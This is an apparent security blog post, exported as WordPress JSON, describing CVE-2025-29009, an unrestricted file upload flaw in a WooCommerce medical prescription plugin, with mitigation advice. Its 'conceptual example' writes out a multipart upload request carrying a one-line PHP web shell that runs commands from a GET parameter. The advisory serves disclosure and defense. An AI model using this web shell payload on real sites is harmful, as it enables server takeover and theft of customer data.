{"id":59567,"date":"2025-07-22T17:38:25","date_gmt":"2025-07-22T17:38:25","guid":{"rendered":""},"modified":"2025-09-10T12:13:44","modified_gmt":"2025-09-10T18:13:44","slug":"cve-2025-29009-unrestricted-file-upload-vulnerability-in-woocommerce-medical-prescription-attachment-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-29009-unrestricted-file-upload-vulnerability-in-woocommerce-medical-prescription-attachment-plugin\/","title":{"rendered":"<strong>CVE-2025-29009: Unrestricted File Upload Vulnerability in WooCommerce Medical Prescription Attachment Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability CVE-2025-29009, discovered in the Webkul Medical Prescription Attachment Plugin for WooCommerce, allows an attacker to upload a web shell to a web server. This vulnerability is of particular concern as it directly affects the security of e-commerce websites using this plugin, potentially leading to unauthorized access, system compromise, or data leakage. Given the prevalence of WooCommerce in the e-commerce industry, it is crucial to understand and mitigate this vulnerability promptly.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-29009<br \/>\nSeverity: Critical (CVSS Score: 10.0)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Potential system compromise or data leakage due to unrestricted <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7340-critical-arbitrary-file-upload-vulnerability-in-ht-contact-form-widget-for-wordpress\/\"  data-wpil-monitor-id=\"66374\">upload of file<\/a> with a dangerous type.<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-706367145\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Webkul Medical Prescription Attachment <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5391-arbitrary-file-deletion-vulnerability-in-woocommerce-purchase-orders-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"81296\">Plugin for WooCommerce<\/a> | up to 1.2.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of an unsecured <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6058-critical-arbitrary-file-upload-vulnerability-in-wpbookit-wordpress-plugin\/\"  data-wpil-monitor-id=\"66475\">file upload<\/a> mechanism in the plugin. An attacker can manipulate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54439-unrestricted-file-upload-vulnerability-in-samsung-electronics-magicinfo-9-server\/\"  data-wpil-monitor-id=\"66999\">file upload<\/a> feature to upload a malicious script (web shell) instead of a legitimate file. Once uploaded, the web shell can be executed, providing the attacker with <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4855-unauthorized-access-vulnerability-in-support-board-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"70955\">unauthorized access<\/a> to the web server. This access can then be used to manipulate data, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54444-unrestricted-file-upload-leading-to-code-injection-in-samsung-electronics-magicinfo-9-server\/\"  data-wpil-monitor-id=\"67218\">inject malicious code<\/a>, compromise the system, or exfiltrate sensitive data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1895906032\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited. This is an example of a malicious HTTP multipart\/form-data POST <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36845-server-side-request-forgery-ssrf-vulnerability-in-eveo-urve-web-manager\/\"  data-wpil-monitor-id=\"70956\">request to upload a web<\/a> shell:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload_attachment HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;attachment&quot;; filename=&quot;evil_shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php\nsystem($_GET[&#039;cmd&#039;]);\n?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, an attacker uploads a PHP web shell named &#8220;evil_shell.php&#8221; which, when executed, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50067-critical-vulnerability-in-oracle-application-express-allowing-system-takeover\/\"  data-wpil-monitor-id=\"67000\">allows the attacker to run any system<\/a> command via the &#8220;cmd&#8221; GET parameter.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it&#8217;s available. In the meantime, usage of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It&#8217;s also advisable to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7401-critical-file-read-write-vulnerability-in-premium-age-verification-restriction-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"66505\">restrict file<\/a> uploads to only trusted users and to validate and sanitize all uploaded files.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability CVE-2025-29009, discovered in the Webkul Medical Prescription Attachment Plugin for WooCommerce, allows an attacker to upload a web shell to a web server. This vulnerability is of particular concern as it directly affects the security of e-commerce websites using this plugin, potentially leading to unauthorized access, system compromise, or data leakage. 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